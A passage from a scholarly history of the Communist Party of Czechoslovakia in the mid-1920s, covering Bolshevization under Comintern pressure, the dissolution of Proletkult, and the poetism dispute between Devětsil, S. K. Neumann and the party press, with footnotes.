The tactic of Bolshevization, which the Moscow leadership intended to implement in the national communist parties, displayed one substantial characteristic which cannot be ignored. The International criticized the old leadership of the individual parties for their bad political work; however, what is quite paradoxical is that the representatives of the communist parties until then in most cases had followed quite loyally the Soviet model. Bolshevization was to bring a change of course from this model;28 it was supposed to be based on "a struggle to take Lenin's theory and apply it creatively to specific historical conditions in individual countries."29 This requirement, which was in direct contradiction to the basic principles of Marxist teachings—and which was called Leninism—was naturally misconstrued on the part of many communists, who after the fifth congress started to be called right deviationists.
As a follow-up to the outcome of the congress of the Comintern, the Communist Party of Czechoslovakia initiated a discussion within the party lines, which was concluded by the second congress of the KSCˇ, held from October 31 to November 4, 1924. The interests of the Comintern were defended by D. Manuilskij, who repeatedly interfered during the meetings and firmly defended the policies of the fifth congress of the Comintern, against which a strong wave of criticism rose within KSCˇ. "(Manuilskij) managed to ensure the election of a new executive committee made up of supporters of the party's radical direction, entirely dedicated to Moscow. The new executive committee took over the implementation of the bolshevization of the party."30 B. meral and A. Zápotocký continued to work in the party's central committee.
The new direction was also expressed in the resolution on campaigning and Leninism, which among other things states:
Marxism and Leninism are an inseparable, monolithic system and only as inseparable teachings can they lead the proletariat to victory. . . . The final ideological victory of Marxism and Leninism over the pseudo-Marxism of the Second International and the entire bourgeois ideological trash, the profound rooting of Marxism and Leninism in the minds of the leadership as well as the grassroots of the party mean the party's real bolshevization.31
The congress also noted the failure of Proletkult32 as an institution of propaganda, campaigning and educating the communist party, and decided to replace it with a new institution, fully subordinated to the tactical intentions of the KSCˇ and the Third International's leadership. The institution was called Agitprop and it was subordinated directly to the central committee of the KSCˇ. Its management was entrusted to the hands of the representatives of the Bolshevik stream in the party, K. Gottwald and J. Guttman. According to the Resolution, "a group of trained workers must be formed who are familiar with all the weapons of this vanguard theory and who are capable of arming the masses of members with these weapons. It is especially important that the youth internalize this theory."33
The second congress also saw the introduction of the new Organizational Rules of the KSCˇ, based on the principles of so-called democratic centralism, whose main principle was "mandatory respect for the decisions of the higher bodies of the party by the lower ones; strict party discipline and swift and precise execution of the decisions of the party's leading bodies. Members of the party may discuss the party's issues as long as they have not yet been decided on by the responsible political bodies."34 What democratic centralism in fact meant was that the views of the highest political body of the communist movement, that is, the Comintern, were always right and any discussion on their correctness was unacceptable.
The central committee became the highest political body of the Communist Party and all the party institutions, including the press, were subordinated to it. The Organizational Rules also define what factions are—communist groups in other than communist party organizations (trade unions, etc.). These factions were a full-value part of the Communist Party. Communist deputies and senators were subject to an especially strict regime. "The comrades in Parliament are subordinated to party discipline even more than other party members. They can be removed at any time by the Central Committee or the Imperial Conference. . . . Each comrade, prior to his election, must sign a declaration that he will respect such dismissal and submit it to the Central Committee or the regional committee."35
A group of deputies led by J. Bubník stood up against the new situation in the party. The right wing, which is what Bubník and his group were called, protested against some protest and provocation events that the Communist Party organized in early 1925. Based on the so-called anti-high prices struggle, communists caused mass protests and demonstrations in many places in Czechoslovakia. However, Bubník criticized these events, saying "on the conditions of stabilization, mass struggles of the working class cannot be organized."36 Bubník and his followers acquainted the Executive Committee of the Communist International with their position. However, the Communist International did not allow any discussion and Bubník, together with another deputy, Warmbrunn, were expelled from the Communist Party. They were soon followed by another five communist deputies, among whom were Teska and Roucˇek. The parliamentary club of the KSCˇ shrank by almost a third, from twenty-two deputies to fifteen.
Bubník and his followers then founded the Independent Communist Party, which flopped in the parliamentary election in the fall of 1925 when it gained only 7,854 votes. "Independent communists did not have a clear political program. They campaigned against Zinovev's dictates, they demanded a purge of the old party and promoted a positive approach to politics as opposed to the rhetoric of revolutionary mottos and gambling with the lives of workers. This faction in no way shook up the old communist party and completely failed in the first election it took part in. It dissolved and a number of its supporters announced their return to the Social Democratic Party."37
In March of 1925, the fifth wider plenary session of the Executive Committee of the Communist International dealt with the situation in the KSCˇ. According to the resolutions issued, the problems in the KSCˇ were caused by the temporary stabilization of capitalism. "In the transition period from the revolutionary boom to a relative calm, reformist illusions gain in strength and the true danger increases, further intensified by the composition of the party's membership (70 percent former social democrats) and the influences of nationalism among the Czech working class."38 The solution to the crisis was to be the implementation of the principles of Bolshevization and suppressing or expelling supporters of the right wing from the party.
The crisis within the party, which affected the KSCˇ in the first half of 1925, meant a signal for Social Democracy to increase its efforts to strengthen its positions. Social Democrats, who in the summer of 1924 came into conflict with the Agrarian Party for not implementing the agreement on a joint effort to enforce agrarian taxes and the law on social insurance, started to sink lower on the Czech political scene.
By promoting the demands for social insurance, the Social Democratic Party attempted to strengthen its position among the working class, regain its influence and importance, which were lost after the establishment of the communist party. At the same time, Social Democracy continued to be pressed by the politics of the communist party, which criticized the inconsistency and moderation of the social democratic procedures.39
Further weakening of the social democratic position occurred after the Agrarians managed to at least partially change the customs tariff of agricultural products in June of 1925. The social democratic reaction was to try to speed up the parliamentary elections in the spring of 1926. In the end, together with the socialists and a group around the president, the party managed to arrange for the election's postponement until the fall of 1925. "Social democrats thought that, considering the inner conflicts within the communist party and the dissension caused by seven deputies being removed from Parliament and establishing the Independent Communist Party, it was the right time for an election."40
For the first time in the early election, the KSCˇ was to show its position among the electorate.41 Before the election, the Communist Party convoked the third congress, which was held from September 26 to 28, 1925. The congress confirmed the course of the Bolshevization of the party—the party's top posts were seized by representatives of the emerging left (for the first time, K. Gottwald was elected to the Central Committee)—as well as the return of the functionaries removed from office following the fourth congress of the Comintern (Bolen, Jílek, Neurath). On the other hand, people connected with the social democratic past of the party were removed from the party's leadership. "After the Third Congress of the party, one of the founders of the communist party, Bohumír meral, was also removed from political life in the Czech Republic. It was for his moderate views that he was removed from his leading position in the party at the end of 1924. In 1926, meral left Czechoslovakia and worked in the Communist International apparatus. He returned to Czechoslovakia only occasionally."42 The congress also formally terminated the activities of Proletkult. The Independent Socialist Workers' Party, which also negotiated with representatives of Bubník's Independent Communist Party, merged with the Communist Party of Czechoslovakia.
The early parliamentary election in November was a display of the real strength of the Communist Party. The KSCˇ gained 934,000 votes (13.15 percent) and became the second strongest political party in Czechoslovakia, second only to the Agrarian Party. The Communist Party's rival, Social Democracy, finished fourth with 631,000 votes (8.88 percent). In comparison to the parliamentary election in 1920, when the united Social Democracy gained 1,590,000 votes, the Communist and Social Democratic Parties did not seem to lose too many votes in total. What must be taken into consideration, though, is the fact that in 1925, the communists also got the votes of the national minorities, who in 1920 supported the minorities' social democratic parties. The overall election results need to be viewed as a strengthening of the right, proof of which was the subsequent appointment of the centre-right government of Prime Minister A. vehla in October of 1926.
The disputes and dissension within the KSCˇ, caused by the implementation of Bolshevization methods in the party's processes, did not weaken the party too much in the mid-1920s. Especially among the working class, the party maintained a strong influence, which was further intensified by the activity of the party's supporters in noncommunist trade unions. The Communist Party's activity and its success in the election also forced other left-oriented parties to radicalize and shift further to the left, which was mainly the case of the social democrats and socialists.
Notes
1. Komunismus, 1 January 1922, 71.
2. Komunismus, 1 January 1922, 37.
3. Komunismus 1, no. 11, 476–77.
4. Komunismus 1, no. 8, 317.
5. KSCˇ was represented by Zápotocký, Hais, and Hess. Representing the Czechoslovak Socialist Party were imek, Hejna, and Danda.
6. Jirˇí Tu˚ma, Na cesteˇ ke komunistické straneˇ (Liberec: Sverocˇeské nakladatelství, 1975), 91–92.
7. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 94–95.
8. Josef Hudec, Bolševism v Cˇeskoslovenské republice (Prague: Národní odbor Cˇeskoslovenský Mezinárodní dohody proti III. internacionále, 1927), 13.
9. The ratio between social democratic and communist deputies was 52 to 22.
10. "Resolution on the Czechoslovak issue passed at the Fourth world congress of the Third Communist International," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924 (Prague: Státní nakladatelství politické literatury, 1954), 145–46.
11. Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 148.
12. Protokol 1. Rˇádného sjezdu Komunistické strany Cˇeskoslovenska 2.–5. února 1923 (Prague: Svoboda, 1989), 81.
13. Komunismus, 1 August 1923, 283.
14. "Policy on the most important tasks of organizations passed at the First regular congress of the Communist Party of Czechoslovakia," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 150.
15. The program was published, for example, in Cˇerven 2, no. 51, 26 February 1920, 20.
16. She was a member of the preparatory committee of the proletarian unity in Great Prague and the Council of the Unemployed—each organization consisted mainly of communists.
17. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 97.
18. Veˇra Olivová, Cˇeskoslovenské deˇjiny 1914–1939 (Prague: Karolinum, 1993), 149.
19. Olivová, Cˇeskoslovenské deˇjiny, 149.
20. So-called Brodecký group, formed by deputies Brodecký, Klein, and Charvát, who established the Independent Social Democratic Workers' Party.
21. Tu˚ma, Na cesteˇ ke komunistické straneˇ, 131.
22. One of them belonging to Social Democracy. Hudec, Bolševism v Cˇeskoslovenské republice, 14.
23. "Resolution on the Tactic of the Communist Party of Czechoslovakia in trade union organizations issued at the nationwide conference of the KSCˇ, held on May 4 and 5, 1924," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 165–68.
24. "Resolution on the Reconstruction of the Party's Organizational Structure issued at the nationwide conference of the KSCˇ, held on May 4 and 5, 1924," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 160–64.
25. V. Friedrich: Congress of the Party and the Fifth Congress of the Communist International, in Komunistická revue, 1 August 1924, 354.
26. Hudec, Bolševism v Cˇeskoslovenské republice, 14.
27. Qtd. in Hudec, Bolševism v Cˇeskoslovenské republice, 32.
28. In the above-mentioned article, V. Friedrich speaks of the need not to copy the example of the Soviet Union.
29. Prˇehled deˇjin Komunistické strany Cˇeskoslovenska (Prague: Státní nakladatelství politické literatury, 1957), 104.
30. Hudec, Bolševism v Cˇeskoslovenské republice, 15.
31. "Resolution on Campaigning and Propaganda issued at the Second Congress of the Communist Party of Czechoslovakia, held from October 31 to November 4, 1924," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 169–70.
32. The developments in Proletkult in the given time period will be dealt with in more detail in the following chapter.
33. Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 169–70.
34. "Organizational Rules of the Communist Party of Czechoslovakia issued at the Second Congress of the KSCˇ, held from October 31 to November 4, 1924," in Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 181–91.
35. Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924, 181–91.
36. Prˇehled deˇjin Komunistické strany Cˇeskoslovenska, 107.
37. Hudec, Bolševism v Cˇeskoslovenské republice, 16.
38. Prˇehled deˇjin Komunistické strany Cˇeskoslovenska, 107–108.
39. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 160.
40. Hudec, Bolševism v Cˇeskoslovenské republice, 34.
41. Not considering the local government election in 1923 and the by-election in Subcarpathian Ruthenia a year later.
42. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 170.
# Chapter 9
## Leftist Culture in
the Mid-1920s
Failure of the Proletkult
The end of the independent Proletkult press body in late 1923 and early 1924 did not mean the organization was closed down immediately. From its beginning, the newly formed magazine Komunistická revue (Communist Revue) devoted its attention mainly to matters pertaining to campaigning and propaganda, whereas it only rarely published articles on culture. Also, the Komunistická revue, right from the start, faced low readership. The magazine's first issue contained this wish: "If we have managed to get more readers than planned, it would be important if the magazine could report on the entire cultural and literary life in Russia."1 The author makes no mention of Czech, or Czechoslovak culture.
In the same issue, the Cultural section led by S. K. Neumann appears for the first time. Neumann, Proletkult's Secretary, subordinated to the central secretary of the KSCˇ, Antonín Zápotocký, sees his role clearly. "For our comrades, working in our education movement, as well as for all other comrades, in this brief overview we want to summarize the important events and significant dates from international cultural (or even anti-cultural) life, if they deserve the attention of the class-conscious proletariat and if they could give them an idea of what is happening in the superstructure of today's society."2 Neumann thus gave up on philosophizing on the role and form of proletarian culture and (temporarily) changed from a theoretician of leftist culture to its chronicler.
Apart from the Cultural Chronicle, the Komunistická revue also features a newsletter of the education section (Proletkult) of the KSCˇ, which in each issue informs about all the lectures and events organized by Proletkult. The newsletter instructs the lower organizational units of Proletkult to consult everything with the central secretary of this organization. All the events approved by the magazine's head office were to be announced in the party press, including Rudé právo newspaper. The Communist Party's leaders thus completely suppressed the cultural aspect of Proletkult, so important for Neumann during the establishment of the organization, and changed it to the party's educational and promotional body. In spite of this shift in the magazine's focus, Neumann stayed in Proletkult and adapted to the new conditions.
However, even after the changes that Proletkult underwent, the party's leadership found the magazine's structure and activities insufficiently effective. In early April of 1924, A. Zápotocký noted with sadness in the Komunistická revue that "Our party has its educational section (Proletkult), whose importance and activity constantly grow, but it has not yet branched out across the party in such a way which is required by its role and the need to concentrate and discipline all the communist activities."3 In spite of the comment on the magazine's growing importance, it seems that at that time it had already been decided that Proletkult would be closed down. An indication of this is the conclusion of Proletkult's regional conference in the first region of the KSCˇ, held in May of 1924.
"It was said that the section of communist cultural activity is still not sufficiently developed and that in the near future it will be necessary not only to take a clear stand on individual issues, but also to reorganize Proletkult and the entire system of cultural institutions within the KSCˇ. The conference issued eighteen resolutions, one of which demands that these institutions be dealt with at the earliest congress of the party and for which the work council is to prepare its propositions."4
Following the fifth congress of the Comintern, the Komunistická revue, and also Proletkult, starts dealing with the topic of the Bolshevization in the area of theoretical and educational work. V. Friedrich presents these propositions:
1. To gather capable comrades around the Komunistická revue; enhance its quality and expand it.
2. To perfectly organize a centralized school and raise interest in it mainly among working class youth.
3. To organize short courses in Leninism and have communist confidents from plants attend them.
4. To publish a theoretical-popular supplement with the Saturday's issue of Rudé právo newspaper, which would acquaint people with the basics of Marxism-Leninism.
5. To revive the Communist Publishing House.
6. To pay more attention to Proletkult and get it suitably involved in the above-mentioned activities.5
The role that Friedrich set out for Proletkult foreshadowed the events at the second congress of the KSCˇ. At the congress, Neumann presented a report on the activities of Proletkult, in which he noted that the party's cultural activities are stagnant. This was caused by the low interest in the lectures as well as Proletkult's press itself. Neumann complained about the lack of interest in reading the magazine by the workers. However, considering the intellectual structure of Proletkult, rather difficult for the lay public to read, and the fact that the overall share of intellectuals among the Communist Party's members was merely half a percent, the lack of interest is not surprising. Neumann also criticized several cultural organizations, which, in spite of the directives of the executive committee of the KSCˇ, were not incorporated into the structure of Proletkult.6 On the orders of the party's leadership (the task was to be set at the October Imperial Conference of Proletkult), Neumann drew up Principles of Educational and Propagandistic Activity, whose fifth point proposed the cancellation of Proletkult, which as an institution of propaganda was detached from politics. According to Neumann, the campaigning, propagandistic, and cultural activities were to be incorporated into the political apparatus of the party.
After the second congress of the KSCˇ, Neumann leaves all official cultural and political institutions of the Communist Party7 and also stops contributing to the Komunistická revue. In 1925, he sets up his own magazine, Reflektor (Spotlight), in which he continues to express ideas of proletarian culture. Away from the official structure of the party, he gains more room for debates with other representatives of leftist culture, especially with the Deveˇtsil group (see the next chapter for more detail). Although the changes in the KSCˇ cost him his position in the party, he welcomed the removal of meral, whom he had always considered an opportunist, as well as the party's Bolshevization.
Proletkult was not entirely closed down until the third congress of the KSCˇ, at which the Organizational Rules on Campaigning and Propaganda were issued, containing no mention of culture whatsoever. The Communist Party of Czechoslovakia for some time gave up on any controlled attempts at managing cultural production by directives of the party leadership.
Poetism
Already in the chapter on proletarian culture I mentioned the young generation of communist artists gradually being steered away from proletarian art in the form promoted by S. K. Neumann. This emancipation and the search for their own paths culminated in the "Manifesto of Poetism," which K. Teige published in the Host magazine in July of 1924. The Manifesto means a breakthrough in the artistic orientation of the youngest generation. Embracing poetism represented a definite departure of the Deveˇtsil generation from proletarian art and consequently also a "breakup"8 with the official line of the Communist Party. The fundamental change from proletarian culture was not a shift to another ideological movement, but rather a sobering up from the unattractive proletarian topics and a move to livelier motifs that were closer to the Deveˇtsil members. "Poetism lacks any philosophical orientation. . . . It is not a world view, as Marxism is, but rather the atmosphere of life, but definitely not that of the office, library, or museum. . . . Most importantly, poetism is modus vivendi. It is a sign of life and at the same time its fulfillment: It is the architect of human happiness and wonderful peace, unconditionally pacifistic."9 It was no longer revolutionary struggle, but quite the opposite, the joy of peace and peaceful living.
The transformation of Deveˇtsil corresponds with the establishment of closer ties with the Literary Group, proof of which, for example, are the "Manifestos of Poetism," published in the periodical of the Host Literary Group. Also published in the same (June) issue of the magazine is a proclamation by the Literary Group on this close relationship:
After the revolution, the young joined the literary circles in close-knit groups and collectively clarified their opinions, formulated their positions on the basic phenomena, built up new aesthetics. The general meeting of the Literary Group brings a decisive turnaround. The majority, which voted for the binding collaboration between Deveˇtsil and other groups of the young generation in the Host magazine, expressed their opinion that today all these groups and collective organizations of intellectual workers become mere clubs, whose purpose is to execute such functions, which an individual would be incapable of doing alone (publishing a magazine, etc.). A poet frees himself spiritually from any collectively formulated programs. . . . Today it is not about fulfilling a program—but about the modern creation of values. . . .
We will each go our own way—and still, we are sure that we will go in the same direction. That is why we join forces with our friends from Deveˇtsil.10
Thus the Host magazine was to become a common platform for the entire young generation to publish in, regardless of their individual political views. The most significant act is the declaration of individual freedom in artistic production. This shift from proletarianism at any cost to emphasizing the quality of artwork was viewed rather ambivalently.
One of the views pointed out the connection between Deveˇtsil's diversion from proletarian art and the death of J. Wolker. This connection was mentioned in the Prˇerod (Transformation) magazine by J. Kopta. Kopta criticizes mainly Teige, who in his opinion "first as a proletarian theoretician shot at everything else, including S. K. Neumann's civilism, only later to completely turn around. . . . It seems that with Wolker's passing, his fellow Deveˇtsil members rediscovered freedom for their artistic work. Exhausted and bored by the constantly recurring motifs, which Wolker was good at finding new and rich ways of putting in verse, they gladly escaped the straitjacket of the program order."11
The official newspapers of the Communist Party unanimously denounced Deveˇtsil. On August 17, 1924, the Rovnost (Equality) magazine published an article entitled "Deveˇtsil's Step Back," which reads: "The poets did not want to debate the possibility of class-conscious Marxist art—and now we see a sort of a withdrawal. Poet Seifert and graphic artist Teige join the Literary group. . . . For them, Marxism was only an experiment." The article further speaks highly of the older generation of artists, who continued to be loyal to proletarian art, and thus also to the Communist Party.
On behalf of Deveˇtsil, A. Cˇerník responded to the wave of criticism, as both Teige and Seifert were in Paris at the time.12 In his article "Deveˇtsil's Step Back?"13 he argues against the opinions and accusations of those who criticized Deveˇtsil. Cˇerník characterizes the "step back" as a step toward "freeing art from the submissive and inferior role of a dependent voice of the party's political program." He draws attention to the fact that the Literary Group openly abandoned utopian socialism and that Host was to become the magazine of a particular generation, not ideology.
S. K. Neumann did not take a clear position on this whole issue. He never concealed his conviction that the activities of Deveˇtsil were not in terms of campaigning of any relevant importance to the party, and therefore its work could not in fact be interpreted as proletarian art. In his position as Proletkult's secretary, appointed and directed by the executive committee of the KSCˇ, he also had to denounce Deveˇtsil politically. While in late 1923, when the actual diversion of Deveˇtsil from proletarian art was already noticeable, Neumann actually welcomed Deveˇtsil's departure; following Deveˇtsil's open statement, Neumann, as a representative of the communist party, had to respond with public criticism. This occurred at a time of deep crisis in Proletkult, when its own end was drawing near.
Deveˇtsil responded to Neumann's criticism in the Pásmo revue.
S. K. Neumann worries about our future and in the name of Proletkult publicly repudiates Deveˇtsil in the Rudé právo newspaper. However, what else are we doing but fulfilling his original call to keep up with the world's artistic avant-garde. . . . There is a problem, though: the issue of art and the proletariat cannot be solved by agitational discussions on the 'communist education' of young writers. Only good agitation art can be made for the proletariat, which is the only form of art that can educate the masses. The stress here is on "agitation," not on "art." However, we would like to make art. Do not condemn us for that!14
The most realistic reaction to the whole issue was that from J. Hora, who not only refrained from denouncing Deveˇtsil, but also looked for the reasons that led Deveˇtsil to diverting from proletarian art. One of the aspects he takes into consideration was the political and economic situation. "The revolution takes too long. . . . What was once romantic and gigantic in the eyes of poets, impatient to see the spectacular end of the old world, is history now. . . . That is why poets abandoned proletarian poetry."15 Furthermore, Hora points out the fact (completely ignored by the communist critics) that the artistic value of individual Deveˇtsil members had gone up.16
For Hora, the "Manifestos of Poetism" are a logical reaction of young artists to, in his opinion, the bad condition of society.
This era does not long for pain. It wants to sing, even on the verge of an abyss, so there is no wonder that young poets also want to sing with joy. The wonders of technical civilization stand side by side with the horrors of political and economic collapse in the poetry of our gullible Nezvals and Seiferts in remarkable harmony. And besides, what else are those ostentatiously proclaimed programs, promoting literature which does not want to be literature, sweet poetry, which does not want to contemplate, but reality like a tree or love, or a passionate longing for happiness, absent in today's world, as some have lost it irretrievably, while others have not yet gained it.17
Unlike Neumann, Hora does not think that Deveˇtsil members should also be considered revolutionary artists.
It would be wrong to think that the young poets, who followed the motto of poetism, promoting art as a playful game, unwilling to convert political ideas and revolutionary gestures into poetry, but rather cultivated beautiful words and indulged in beautiful and fantastic images, vibrant with life, which in spite of all the social poverty is so beautiful, ran away from socialism. Our poets, joined in Deveˇtsil, always professed their affiliation to the idea of revolution and managed to prove it by turning poetry into a beautiful play; they have given the proletariat more than proletarian poetry ever could.18
As mentioned in the previous chapter, following his departure from the leading position in Proletkult, S. K. Neumann established his own magazine, called Reflektor (Spotlight), in which he continued his campaign against Deveˇtsil. In early 1925, Deveˇtsil terminates its collaboration, once so expressly proclaimed, with the Literary Group. The reasons for this move, formulated by Teige and Seifert, were published in the February issue of the Pásmo magazine. In it the authors write that they have left the editorial staff of the common Host magazine because "during the three months they found out that only the left of this generation, represented by Deveˇtsil, is truly modern, therefore, the working partnership with groups outside Deveˇtsil is delusive and pointless."19 On behalf of the Literary Group, J. Goetz rejected these ideological reasons and noted that the main reason was that "Deveˇtsil needs the illusion that they are in control, that they lead."20 The core of the dispute was which of the two groups would have more room to publish. Teige's narrow-mindedness thus thwarted an attempt at creating a generational magazine of young artists.
Another thing Teige did to prove his talent at getting into disputes with just about anyone was the magazine article "Dosti Wolkera" (Enough of Wolker), in which Deveˇtsil protested against the emerging cult of J. Wolker as a national poet. In the article, Deveˇtsil disputed the opinions that following Wolker's death it moved away from the modern style. Teige tries to rebut the notion that Wolker's death represents a symbolic death of revolution. Until then, there was not much that Deveˇtsil could have been reproached for; however, the last part of the article sparked much controversy. It read: "Enough of Wolker! They say he was the last big bad poet—an ideological one. His death prevented him from becoming a good poet. Today, this story is a source of virtue for the bourgeoisie. Wolker created, plainly and with all naivety, a new kind of humanity, that is why we loved him; however, he did not give rise to a new form. It is only after Wolker that truly new and grand art begins."21
These words outraged members of the Literary Group, which Wolker had left to join Deveˇtsil. "It is foolish to say that Wolker was the last big, bad, ideological poet. It presupposes that . . . the irrational romanticism of poetism . . . is the only great art of the future. . . . Deveˇtsil does not have the right to throw the bourgeoisie at its opponents, etc. Deveˇtsil itself abandoned proletarian art."22 In his article "Likvidace Wolkerova kultu" (Doing Away with Wolker's Cult) in the March issue of the Avantgarda magazine, J. Fucˇík clearly defined the momentary mood in Deveˇtsil: "But the revolution did not come, as Seifert had sung . . . and left for Paris to cure his hoarse vocal cords. Wolker remained alone. He took the unbeaten path towards proletarian hearts, while Deveˇtsil members took the traditional path of bourgeois entertainment."23 Two years later, B. Mathesius puts Fucˇík's observation even more harshly in the article "Politické hrany" ("Political edges"): "Proletarian poetry . . . They are twenty years old and they want to die on the barricades, but the revolution is not barricades. It is a long process, spread over a period of a number of years. Seifert's eyes are opening, he doesn't want to die anymore, because even proletarians desire ham, wine, and caviar."24 In April of 1925, S. K. Neumann published a very laconic, summarizing conclusion in the Reflektor magazine: "With Wolker dead, the others, following Karel Teige, their theoreticizing drummer, moved away quickly from the proletariat. The end of proletarian art drew near."25
Hora continued to defend Deveˇtsil, while Deveˇtsil members themselves fought back against Neumann's criticism in the Pásmo magazine, not from the position of proletarian culture, but rather from the position of those who rejected Neumann's constant moralizing. "Sáša [S. K. Neumann], who recently turned fifty, so prolific in the past, gives up on poetism and art for other than artistic problems. Old age, which demurs both the ingenuity as well as shrewdness of the bourgeoisie. . . . Reflektor would benefit from a little more modernness, more small pictures and less moralism, narrow-mindedness and moralizing by the Deveˇtsil generation, which has long ceased to be the 'Cˇerven' baby."26
The discussion between Deveˇtsil and Neumann resulted in a debate on the mission of a communist artist. One view, held among others by Neumann, was that artistic work must serve the purpose of promoting communist ideas and play a campaigning role. The opposing view, held primarily by Deveˇtsil, rested in the conviction that an artist's political affiliation cannot be measured against the agitational impact of his work. F. C. Weiskopf expressed this view aptly in his article "Prycˇ s karbanictvím" ("Away with Gambling").
We cannot expect a poet to exalt in his work the resolutions of some regional conference of the communist party or turn into poetry the editorials of some local communist press. . . . What we can do is to invite him to give up the blissful isolation he enjoys and join us in one big organization of leftist—in the broad sense of the word—art. Let us transform the often slogan-based long-distance discussion to an everlasting discussion and criticism within a new organization of leftist art, both politically and artistically! Long live the united leftist front in art!27
It was the first mention of a term to be used later to refer to an organization, which would be another attempt at uniting leftist, or if you like, pro-communist artists in Czechoslovakia. V. Nezval supplemented Weiskopf's statement with a definition of the criterion of leftist art. "Originally, an artist's leftism was decided by his political conviction, later his so-called ductile revolutionism. The only true criterion, it seems to me, is distinct newness and quality."28
Poetism as Deveˇtsil's new program and the discussion around it did not result in any particular conclusion; however, it deepened the gap between the young leftist artists and the Communist Party, which in the mid-1920s practically gave up on any kind of cultural activity. The continuity of proletarian culture was thus maintained by the middle-aged generation of writers, mainly by S. K. Neumann. Although Deveˇtsil continued to formally profess communism, its connection with the communist party was purely superficial. Most Deveˇtsil members did not take part in campaigning in favor of the Communist Party and their artwork did not meet the requirements of the department of campaigning and propaganda. In spite of all this, Deveˇtsil considered itself to be a communist organization. The dispute as to whether proletarian art was determined by its form, content, or the author's political affiliation, remained, largely due to the passive approach by the Communist Party, unresolved.
Notes
1. Komunistická revue, 1 February 1924, 6.
2. Komunistická revue, 1 February 1924, 28.
3. Komunistická revue, 1 April 1924, 212.
4. Komunistická revue, 1 June 1924, 288.
5. Komunistická revue, 1 August 1924, 363.
6. The criticism was also directed against the avant-garde artists' association Deveˇtsil.
7. He was not involved in the newly established Agitprop.
8. The term 'breakup' is not entirely accurate as until then Deveˇtsil had not been subordinated to the official line dictated by Proletkult.
9. Karel Teige, "Manifesty poetismu" in Host 3, (July 1924), 197–204.
10. Host 3, July 1924, 226–27.
11. Prˇerod, 15 August 1924, 157–62.
12. It is certainly no coincidence that Rovnost mentioned these two, who were absent and therefore could not defend themselves.
13. Rovnost, 31 August 1924.
14. Pásmo, October 1924.
15. Rudé právo, 19 November 1924.
16. For example, "Seifert . . . suddenly starts writing about all the beauty of the world, verses incomprehensible to workers, but fully corresponding to his artistic honesty and faith," in: Rudé právo, 19 November 1924.
17. Rudé právo, 19 November 1924.
18. Rudé právo, 19 November 1924.
19. Pásmo, February 1925.
20. Host, February 1925.
21. Pásmo, February 1925.
22. Host, February 1925.
23. Avantgarda, March 1925.
24. Tvorba, March 1927.
25. Reflektor 1, no 11.
26. Pásmo, July 1925.
27. Avantgarda, December 1925.
28. Tam-tam, December 1925.
# Chapter 10
## KSCˇ and the Leftist Culture
in the Years 1926–1928
Development in the KSCˇ between 1926 and 1928
The development in the Communist Party of Czechoslovakia in the period referred to in communist terminology as temporary stabilization of capitalism is often described with no more than just a few sentences that speak of major shortcomings, some even mentioning a crisis in the party. The symptom of the crisis was to be the diversion of the proletariat from mass events organized by the party; the fault was attributed to the right-leaning leadership of the party, represented by V. Bolen and B. Jílek.1 What is paradoxical is that in 1922 this group was temporarily expelled from the KSCˇ for their ultra-left views.2 This discrepancy not only proves the confusion of communist terminology, which arose mainly in providing reasons for someone's expulsion, or the disposal of "non-adaptable comrades," but also partly answers the question of what the development of the communist movement looked like in the second half of the 1920s not just in Czechoslovakia, but also in most other countries. Thanks to having overcome the postwar crisis and in the stage of economic prosperity, the revolutionary mood among the population gradually cooled off. Members of the party as well its functionaries were exposed to the same process.
Not even at this time does the party's leadership abandon the tactic of the united front; however, reality forces it to proceed more moderately, as corresponds with the climate in society. The refusal to organize mass revolutionary events, which was earlier used as an excuse to expel Bubník and other functionaries from the party, becomes quite a common procedure in 1927 and 1928. The Communist International, irritated by such policy, constantly tries to intervene and by modifying the inner workings of the KSCˇ changes the party's "unrevolutionary passivity." The party sees a rise in tension and a not very transparent struggle among several splinter groups or individuals. Following the departure of B. meral and shortly after him also the departure of K. Kreibich to the Moscow headquarters of the Comintern, comrades V. Friedrich and B. Hu˚la are expelled from the party after being labeled as Trotskyist and opportunist elements.3 By pressure from Jílek's group, A. Neurath is removed from the party's central committee. Gradually, two major factions start to crystallize. One of them is Jílek's group, backed by a number of artists mainly from the middle-aged generation (Hora, Olbracht, Neumann, etc.), while a certain center of opposition is formed around the Agitprop department (of campaigning and propaganda), led by K. Gottwald from 1926.
Jílek's leadership gradually gained the upper hand in the Communist Party and assumed most of the decisive competencies. For authors of communist publications on the history of the KSCˇ, this was proof of bad leadership; however, neither before 1925, nor after 1929, when Jílek was removed from the Communist Party's leadership, was the process of decision making based on collective decisions of the central committee (although formally it was made to look that way). Quite the contrary, the central committee was fully subordinated to the directives of the Communist International, that is, a narrow group within the party's leadership. In the handbook Deˇjiny KSCˇ, published in 1966, we can read that
as of the third congress, the party was managed in such a way that the secretariat of the party's central committee, consisting of only a handful of people and led by B. Jílek as Organization Secretary, managed 'in the interest of alleviating the burden of the politburo' even political issues. Gradually, the party's leadership was concentrated in the hands of a very small group. . . .
Its consequence was the formal management of the party's affairs and its events, their stereotypical character and the dullness of the party's work."4
B. Jílek's position in the Communist Party was also confirmed by the fourth congress of the KSCˇ, held from March 25 to 28, 1927. In his speech, Jílek expressed his contentment with the progress of the Bolshevization in the party; on the other hand he criticized the insufficient efforts of the department of campaigning and propaganda. Jílek also managed to fill the position of editor in chief of Rudé právo Evening Paper with I. Olbracht, who was loyal to him. Jílek's leadership was ever more frequently in conflict with the Communist International, which regularly criticized the laxness in organizing mass events directed against the bourgeois republic. However, the activity of the KSCˇ was faced with an obstacle in the form of the previously mentioned consolidation of the economic situation in Czechoslovakia and the resulting weakened interest of the people (including many supporters of the KSCˇ) in these events. Jílek rightfully pointed this out; however, Stalin, by means of the Comintern and his supporters in the KSCˇ (mainly Gottwald and Guttman), demanded that the KSCˇ leadership organize mass events at any cost.
